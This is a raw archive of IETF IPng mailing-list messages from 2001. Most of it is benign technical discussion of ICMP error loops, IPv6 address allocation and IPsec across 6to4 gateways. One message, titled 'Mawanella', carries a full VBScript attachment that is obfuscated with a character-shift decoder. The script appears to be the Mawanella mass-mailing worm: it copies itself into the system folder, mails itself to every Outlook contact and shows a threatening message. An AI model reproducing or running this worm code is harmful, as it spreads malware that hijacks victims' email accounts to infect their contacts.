-0700 (PDT) Received: from eastmail1.East.Sun.COM (eastmail1.East.Sun.COM [129.148.1.240]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GNZh402308; Wed, 16 May 2001 16:35:44 -0700 (PDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA09392; Wed, 16 May 2001 19:35:42 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.3+Sun/8.11.3) with ESMTP id f4GNZHC17041; Wed, 16 May 2001 19:35:18 -0400 (EDT) Message-Id: <200105162335.f4GNZHC17041@thunk.east.sun.com> From: Bill Sommerfeld To: Mohan Parthasarathy cc: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com Subject: Re: ICMP errors in response to ICMP errors. In-reply-to: Your message of "Wed, 16 May 2001 16:15:50 PDT." <200105162315.f4GNFo901406@locked.eng.sun.com> Reply-to: sommerfeld@east.sun.com Date: Wed, 16 May 2001 19:35:17 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > 5) There is no route for this IPv4 packet [which is actually an ICMPv6 > error] as determined by the IPv4 routing table. An ICMPv4 error is > generated. > > 6) The ICMPv4 error is converted to an ICMPv6 error so that it can > be sent to the original IPv6 sender [router itself]. > > Note that step (5) and step (6) are the similar to step (2) and (3) > and will continue forever till the ttl drops to zero. > > At step (5) we are generating an ICMPv4 error for the ICMPv6 error. no, you're generating an icmpv4 error for an tunnelled ipv6 packet > At step (6) we are generating an ICMPv6 error for the ICMPv6 error. > > Should step (5) or step (6) detect this and drop the packet ? step (5): no. step (6): yes. you should not send icmp errors in response to icmp errors. - Bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 23:40:49 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4H6dmJ02938 for ipng-dist; Wed, 16 May 2001 23:39:48 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4H6dd402931 for ; Wed, 16 May 2001 23:39:39 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA10354 for ; Wed, 16 May 2001 23:39:39 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA22501 for ; Wed, 16 May 2001 23:39:36 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4H6dqn01775; Thu, 17 May 2001 13:39:52 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: ipng@sunroof.eng.sun.com, Thomas Narten Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 17 May 2001 13:39:52 +0700 Message-ID: <1773.990081592@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 16 May 2001 17:43:10 +0300 (EEST) From: Pekka Savola Message-ID: | The problem is that if dialups, adsl's etc. should be given /48, but the | organization is allocated one /48, how do you proceed? Take for example | universities offering dialup, or companies doing it for the personnel; This depends upon the environment. In some cases there is essentially an ISP in existence, which should have a /35 (or whatever that turns out to be) from which to hand out pieces, one of which would be a /48 for itself, and the rest for its "customers". In most cases however (such as the university that employs me), the subnets handed out to dial ins are just a part of our network (they are for v4, and will remain so for v6), and are all managed together - dial in users get as much address space as they need (and independent of the technology that they use to connect). I have a subnet for home from that space which is just as much as I need. Because of the relationship that exists all this is pretty easy to manage - that is, that the subnet happens to exist in my house doesn't make it any difficult than a subnet that exists in some university owned building. Students we tend to push towards using a commercial ISP though in general, it makes lots of sense all around. But note that I wasn't advocating a /48 for every dial up user - I think that much smaller allocations will work fine for almost all (down to /64) low end connections (clearly a /64 will work for everyone with only a single subnet at the other end, provided the routing is managed correctly). What is important is to make available the address space that people actually need - and not to be too bothered about their rationale for their needs (up to as big as /48 allocations anyway) - if they think they need it, allocate it, just default to smaller for people who have no idea. (A question on the ISP form might be "Do you need more than a hundred million addresses?"). | This might lead to an increased size of routing tables as you | might not be able to aggregate the prefixes properly. The original model had the ISP returning their /35 (after an overlap period) when they get given the /32 (or /33 or /29 or whatever it is) when they have outgrown it, precisely to avoid this problem. Of course, this means that all of their customers need to renumber. This kind of thing was the prime motivation for making renumbering practically possible, and comparatively easy - not the "I want to change ISPs and don't want to have to renumber" which is of rather lower importance (anything caused by a voluntary action is much easier to deal with than something you have to do without choice and without any obvious benefits). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 01:14:04 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4H8CwX03110 for ipng-dist; Thu, 17 May 2001 01:12:58 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4H8Cm403103 for ; Thu, 17 May 2001 01:12:48 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17977 for ; Thu, 17 May 2001 01:12:48 -0700 (PDT) Received: from theory.cs.uni-bonn.de (theory.cs.uni-bonn.de [131.220.4.211]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA08786 for ; Thu, 17 May 2001 01:12:46 -0700 (PDT) Received: (from ignatios@localhost) by theory.cs.uni-bonn.de (8.9.1a/8.9.1) id KAA16750; Thu, 17 May 2001 10:12:23 +0200 (MET DST) Date: Thu, 17 May 2001 10:12:23 +0200 From: Ignatios Souvatzis To: JIM FLEMING Cc: Thomas Narten , Pekka Savola , ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? Message-ID: <20010517101223.D16519@theory.cs.uni-bonn.de> References: <200105161735.NAA05958@rotala.raleigh.ibm.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="gm5TwAJMO0F2iVRz" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jfleming@anet.com on Wed, May 16, 2001 at 12:51:59PM -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --gm5TwAJMO0F2iVRz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, May 16, 2001 at 12:51:59PM -0500, JIM FLEMING wrote: >=20 > You might have missed this... > Time for a celebration....it's OVER !!!!.... > ...good-bye [...] and IPv6 allocations... please excuse if this sounds rude, but ... did you READ the press release you forwarded to this list? -is --gm5TwAJMO0F2iVRz Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQEVAgUBOwOH4jCn4om+4LhpAQHlgAgAldHTBDsROhLycU1HdejL4/2KpZ8nI2kU MUfsyNV/Z0aeLGbjr0qqX2KvZkTU2+HA2OndfxRW0I3MWBifDFM/Kp2ZSSslfkgK xn7oeA/IdLwCg33nFmTCvPPkl59j/moko3APCZPGVLgz4ffv6TDVEf85cs6fV6DV fFUWbajHIhWp4YX4Bx+XtCdA5BxAiVkrBzUpmERavfbPScagQEaVr+97OcT4POYG QiRwO23B+AEOYc7fcV4cowRd3SdJ89KEtG6pFaTgfEm5JOjTzd4YWBoDykx8tdkS YcRWkPXLHGrhWwvB0NC4zQSLp7Wck/eWLZRG8IxWl/8VQDA79BAblw== =4Kcz -----END PGP SIGNATURE----- --gm5TwAJMO0F2iVRz-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 10:01:36 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4HH0PR03669 for ipng-dist; Thu, 17 May 2001 10:00:25 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4HH0G403662 for ; Thu, 17 May 2001 10:00:16 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA02950 for ; Thu, 17 May 2001 10:00:16 -0700 (PDT) Received: from rumor.cps.intel.com (rumor.cps.intel.com [192.102.198.242]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06533 for ; Thu, 17 May 2001 10:00:15 -0700 (PDT) Received: from SMTP (fmsmsxvs05-1.fm.intel.com [132.233.42.205]) by rumor.cps.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.38 2001/05/09 12:49:45 root Exp $) with SMTP id RAA20213 for ; Thu, 17 May 2001 17:00:11 GMT Received: from fmsmsx28.fm.intel.com ([132.233.48.28]) by 132.233.48.205 (Norton AntiVirus for Internet Email Gateways 1.0) ; Thu, 17 May 2001 17:00:12 0000 (GMT) Received: by fmsmsx28.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 17 May 2001 10:00:11 -0700 Message-ID: From: "Dollinger, MatthewX" To: "Ipng Posts (E-mail)" Subject: IPSec in a v6tov4 environment... Date: Thu, 17 May 2001 10:00:07 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk There is a debate going around our lab about whether or not it is possible to secure a 6to4 network. The argument in favor is as follows: Secure the Ipv4 side with standard IPSec. Have a secure connection (Still IPv4) with the 6to4 translating router. Secure the Ipv6 side with Ipv6 Ipsec. Have a secure (Ipv6) connection to the 6to4 translating router. The theory is that the 6to4 router will un-encrypt the Ipv4 data, and re-encrypt it when sending to the Ipv6 network. Another theory is that the Ipv6 IPSec and the Ipv4 IPSec will be able to establish a security association with each other, as long as the key (Pre-shared secret) and the encryption settings are the same. I have had a heck of a time finding any detailed information on this and would greatly appreciate any feedback I can get. Thanks! "You know, sometimes it is the artist's task to find out how much music you can still make with what you have left." --- Itzhak Perlman (Nov. 18, 1995,) Matthew Dollinger IPSec/NQL Lab -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 10:30:54 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4HHTKd03754 for ipng-dist; Thu, 17 May 2001 10:29:20 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4HHTA403747 for ; Thu, 17 May 2001 10:29:11 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23844 for ; Thu, 17 May 2001 10:29:09 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA00810 for ; Thu, 17 May 2001 11:29:07 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id UAA18277; Thu, 17 May 2001 20:42:23 +0300 Date: Thu, 17 May 2001 20:42:23 +0300 Message-Id: <200105171742.UAA18277@burp.tkv.asdf.org> From: Markku Savela To: matthewx.dollinger@intel.com CC: ipng@sunroof.eng.sun.com In-reply-to: (matthewx.dollinger@intel.com) Subject: Re: IPSec in a v6tov4 environment... References: Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Another theory is that the Ipv6 IPSec and the Ipv4 IPSec will be > able to establish a security association with each other, as long as the key > (Pre-shared secret) and the encryption settings are the same. No, the IPSEC end-points see 6to4 as IPv6 protocol, so you run the IPSEC as IPv6 ISPEC on the IPv6 packets with 6to4 addressesses. The 6to4 gateway operates on IPSECed packets. IPv6(6to4-dst,6to4-src) TCP ... --> apply IPSEC IPv6(6to4-dst,6to4-src) ESP "encrypted TCP" --> apply 6to4 IPv4 (ipv4-src, ipv4-dst) IPv6(6to4-dst,6to4-src) ESP "encrypted TCP" (go over IPv4 internert) --> apply 6to4 IPv6(6to4-dst,6to4-src) ESP "encrypted TCP" --> apply IPSEC IPv6(6to4-dst,6to4-src) TCP ... Thus, 6to4 end-to-end IPSEC is same as any IPv6 ipsec. No special handling needed. Of course, alternatively, you could have policy applying to the IPv4 packet after 6to4 processing, but then the IPSEC association would be between 6to4 gateways. But, this is totally independent of the other IPSEC layer. ipv6-host ----- 6to4-gw =============== 6to4-gw --------ipv6-host <-----IPSEC 2 --------> <---------------------IPSEC 1 -------------------------> -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 12:00:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4HIxKU03926 for ipng-dist; Thu, 17 May 2001 11:59:20 -0700 (PDT) Received: from jurassic.eng.sun.com (jurassic [129.146.88.31]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4HIwI403904; Thu, 17 May 2001 11:58:18 -0700 (PDT) Received: from locked (locked.Eng.Sun.COM [129.146.85.189]) by jurassic.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with SMTP id f4HIwEu126912; Thu, 17 May 2001 11:58:14 -0700 (PDT) Message-Id: <200105171858.f4HIwEu126912@jurassic.eng.sun.com> Date: Thu, 17 May 2001 11:56:55 -0700 (PDT) From: Mohan Parthasarathy Reply-To: Mohan Parthasarathy Subject: Re: ICMP errors in response to ICMP errors. To: Mohan.Parthasarathy@eng.sun.com, sommerfeld@east.sun.com Cc: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: cv69tTll+c+dEKZCVY4d+w== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 sun4u sparc Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > 5) There is no route for this IPv4 packet [which is actually an ICMPv6 > > error] as determined by the IPv4 routing table. An ICMPv4 error is > > generated. > > > > 6) The ICMPv4 error is converted to an ICMPv6 error so that it can > > be sent to the original IPv6 sender [router itself]. > > > > Note that step (5) and step (6) are the similar to step (2) and (3) > > and will continue forever till the ttl drops to zero. > > > > At step (5) we are generating an ICMPv4 error for the ICMPv6 error. > > no, you're generating an icmpv4 error for an tunnelled ipv6 packet > Agreed. > > At step (6) we are generating an ICMPv6 error for the ICMPv6 error. > > > > Should step (5) or step (6) detect this and drop the packet ? > > step (5): no. > > step (6): yes. you should not send icmp errors in response to icmp > errors. I just wanted to point out that you can't convert ICMPv4 error to ICMPv6 error blindly. You need to check to see the inner packet. May be it is very obvious which i missed :-) -mohan > > - Bill > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 12:12:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4HJBEY03964 for ipng-dist; Thu, 17 May 2001 12:11:14 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4HJB2403957; Thu, 17 May 2001 12:11:03 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA07185; Thu, 17 May 2001 12:11:01 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA03718; Thu, 17 May 2001 12:10:59 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id E07904B10; Fri, 18 May 2001 04:10:41 +0900 (JST) To: Mohan Parthasarathy Cc: sommerfeld@east.sun.com, ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com, mohanp@eng.sun.com In-reply-to: Mohan.Parthasarathy's message of Thu, 17 May 2001 11:56:55 MST. <200105171858.f4HIwEu126912@jurassic.eng.sun.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ICMP errors in response to ICMP errors. From: itojun@iijlab.net Date: Fri, 18 May 2001 04:10:39 +0900 Message-ID: <22498.990126639@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >I just wanted to point out that you can't convert ICMPv4 error to >ICMPv6 error blindly. You need to check to see the inner packet. >May be it is very obvious which i missed :-) you never need to. the only case you might need to do this is when you are an IPv6-to-IPv4 translator (but is rare, still). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 21:27:01 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4I4Psw04935 for ipng-dist; Thu, 17 May 2001 21:25:54 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4I4PiM04928 for ; Thu, 17 May 2001 21:25:44 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA28601 for ; Thu, 17 May 2001 21:25:44 -0700 (PDT) Received: from fsnt.future.futsoft.com ([203.197.140.35]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA22394 for ; Thu, 17 May 2001 21:25:41 -0700 (PDT) Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id for ; Fri, 18 May 2001 09:43:44 +0530 Received: from vanitha (vanitha.future.futsoft.com [10.8.7.4]) by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f4IC6w430895 for ; Fri, 18 May 2001 17:36:58 +0530 Reply-To: From: "Vanitha Neelamegam" To: Subject: Mawanella Date: Fri, 18 May 2001 09:33:49 +0530 Message-Id: <009f01c0df4f$a8f4cd80$0407080a@future.futsoft.com> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal Content-Type: multipart/mixed; boundary="----=_NextPart_000_00A0_01C0DF7D.C2AD0980" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00A0_01C0DF7D.C2AD0980 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Mawanella is one of the Sri Lanka's Muslim Village ------=_NextPart_000_00A0_01C0DF7D.C2AD0980 Content-Type: application/octet-stream; name="Mawanella.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Mawanella.vbs" Execute = UnCode("Ts%Jwwtw%Wjxzrj%Sj}y=0FWjr%44%N%mfyj%Rf|fsjqqf%nshnijsy=0FXjy%\dX= %B%HwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0FXjy%kxt%B%HwjfyjTgojhy-'Xhwnuynsl3Knqj= X~xyjrTgojhy'.=0Fxjy%knqj%B%kxt3TujsYj}yKnqj-\Xhwnuy3XhwnuyKzqqsfrj16.=0F= {gxhtu~Bknqj3WjfiFqq=0Frfns-.=0F=0Fxzg%rfns-.=0F%%%Ts%Jwwtw%Wjxzrj%Sj}y=0F= %%%inr%|xhw1ww1%xywRxl=0F%%%xjy%|xhwBHwjfyjTgojhy-'\Xhwnuy3Xmjqq'.=0F%%%%= %%Xjy%inw|ns%B%kxt3LjyXujhnfqKtqijw-5.=0F%%%%%%Xjy%inwx~xyjr%B%kxt3LjyXuj= hnfqKtqijw-6.=0F%%%%%%Xjy%inwyjru%B%kxt3LjyXujhnfqKtqijw-7.=0F%%%%%%Xjy%h= Knqj%B%kxt3LjyKnqj-\Xhwnuy3XhwnuyKzqqSfrj.=0F%%%%%%hKnqj3Htu~-inwx~xyjr+'= aRf|fsjqqf3{gx'.=0F%%%%%=0FXjy%TzyqttpF%B%HwjfyjTgojhy-'Tzyqttp3Fuuqnhfyn= ts'.=0FNk%TzyqttpF%B%'Tzyqttp'%Ymjs=0F%%%Xjy%RfunBTzyqttpF3LjySfrjXufhj-'= RFUN'.=0F%%%Xjy%FiiQnxyxBRfun3FiiwjxxQnxyx=0F%%%Ktw%Jfhm%QnxyNsij}%Ns%Fii= Qnxyx=0F%%%%%%%Nk%QnxyNsij}3FiiwjxxJsywnjx3Htzsy%AC%5%Ymjs=0F=0E%%Htsyfhy= Htzsy]%B%QnxyNsij}3FiiwjxxJsywnjx3Htzsy=0F=0E%%Ktw%HtzsyB%6%Yt%HtsyfhyHtz= sy]=0F%%%%%%%%%%%%%%Xjy%Rfnq]%B%TzyqttpF3HwjfyjNyjr-5.=0F=0E%%%%%%Xjy%Hts= yfhy]%B%QnxyNsij}3FiiwjxxJsywnjx-Htzsy.=0F%%%%%%%%%%%%%%,rxlgt}%htsyfhy}3= fiiwjxx=0F%%%%%%%%%%%%%%,Rfnq}3Wjhnunjsyx3Fii-Htsyfhy]3Fiiwjxx.=0F%%%%%%%= %%%%%%%Rfnq]3Yt%B%Htsyfhy]3Fiiwjxx=0F=0E%%%%%%Rfnq]3Xzgojhy%B%'Rf|fsjqqf'= =0F=0E%%%%%%Rfnq]3Gti~%B%{ghwqk+'Rf|fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxq= nr%[nqqflj'+{ghwqk=0F=0E%%%%%%,Xjy%FyyfhmrjsyBRfnq]3Fyyfhmrjsyx=0F=0E%%%%= %%,Fyyfhmrjsy3Fii%inwx~xyjr%+%'aRf|fsjqqf3{gx'=0F=0E%%%%%%,Rfnq}3Fyyfhmrj= syx3Fii-inwx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq}3Fyyfhmrjsyx3Fii-in= wx~xyjr%+%'aRf|fsjqqf3{gx'.=0F=0E%%%%%%Rfnq]3IjqjyjFkyjwXzgrny%B%Ywzj=0F=0E= %%%%%%Nk%Rfnq]3Yt%AC%''%Ymjs=0F=0E=0E%Rfnq]3Xjsi=0F%=0E%%%%%%Jsi%Nk=0F%%%= %%%%%%%%Sj}y=0F%%%%%%%Jsi%Nk=0F%%%Sj}y=0FJqxj=0F%%%rxlGt}%'Uqjfxj%Ktw|fwi= %ymnx%yt%j{jw~tsj'%=0FJsi%nk=0F=0FxywRxlB%'%%.%%%%%%%%%%%%%%%%%%%%-'%+%{g= hwqk=0FxywRxlB%xywRxl%+%'-%%.%%%%%%%%%%%%%%%%-%%%.%%'%+%{ghwqk=0FxywRxlB%= xywRxl%+%'%%-%%%%.%%%%%%%%%%-%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%-%%%.= %%%%%%-%%%%%%%%%.'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%%222222222222222222222= 2222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%%%4%%%%%%%-%%%-%%%%-%%%%%%4a'%+%{ghwq= k=0FxywRxlB%xywRxl%+%'%%4%%%%%%%%%%-%%%%%%%%%%%%%4%%a'%+%{ghwqk=0FxywRxlB= %xywRxl%+%'%4%%%%%%%%%%%%-%-%%%%%%%%%4%%%%a'%+%{ghwqk=0FxywRxlB%xywRxl%+%= '%22222222222222222222222222222222'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%%%= %%%%%%%%%%%%222%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%%222= 22%%%%%%%%=81%%%=81%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%=81%= =81%%%%%=81%%%%%%%%222%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%+%'%= =81%=81%%%%%=81%%%%%%%%%%%%%%%%%%=81%%%%%%=81'%+%{ghwqk=0FxywRxlB%xywRxl%= +%'%22222222222222222222222222222222'%+%{ghwqk=0F=0FxywRxlB%xywRxl%+%'Rf|= fsjqqf%nx%tsj%tk%ymj%Xwn%Qfspf,x%Rzxqnr%[nqqflj3'%+%{ghwqk%=0FxywRxlB%xyw= Rxl%+%'Ymnx%gwzyfq%nshnijsy%mfuujsji%mjwj%7%Rzxqnr%Rtxvzjx%+%655%Xmtux%fw= j%gzwsy3'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%mfy%ymnx%nshnijsy1%\mfy%fgtzy%~= tzD%N%hfs%ijxywt~%~tzw%htruzyjw'%+%{ghwqk%=0FxywRxlB%xywRxl%+%'N%inis,y%i= t%ymfy%gjhfzxj%N%fr%f%ujfhj2qt{nsl%hnyn=7Fjs3'=0F%=0Frxlgt}%xywRxl11'Rf|f= sjqqf'=0F=0FJsi%xzg=0F=0F%=0F") Function UnCode(sCoded) For I=3D1 To Len(sCoded) CurChar=3D Mid(sCoded, I, 1) If Asc(CurChar) =3D 15 Then strChr=3D Chr(10) Else strChr =3D chr(asc(CurChar)-5) End if UnCode =3D UnCode & strChr Next End Function =20 ------=_NextPart_000_00A0_01C0DF7D.C2AD0980-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 17 21:41:42 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4I4eep05878 for ipng-dist; Thu, 17 May 2001 21:40:40 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4I4eUM05867 for ; Thu, 17 May 2001 21:40:30 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA16470 for ; Thu, 17 May 2001 21:40:29 -0700 (PDT) Received: from indica.wipsys.stph.net ([203.197.249.146]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA08090 for ; Thu, 17 May 2001 22:40:38 -0600 (MDT) Received: from hdcvwall.wipsys.stph.net (hdcvwall.wipro.com [192.168.150.24]) by indica.wipsys.stph.net (8.9.3+Sun/8.9.3) with SMTP id KAA15132 for ; Fri, 18 May 2001 10:11:40 +0530 (IST) Received: from lbmail.mail.wipro.com ([196.12.37.250]) by vindhya.mail.wipro.com (Netscape Messaging Server 4.15) with ESMTP id GDIKYH00.GOL for ; Fri, 18 May 2001 10:09:53 +0530 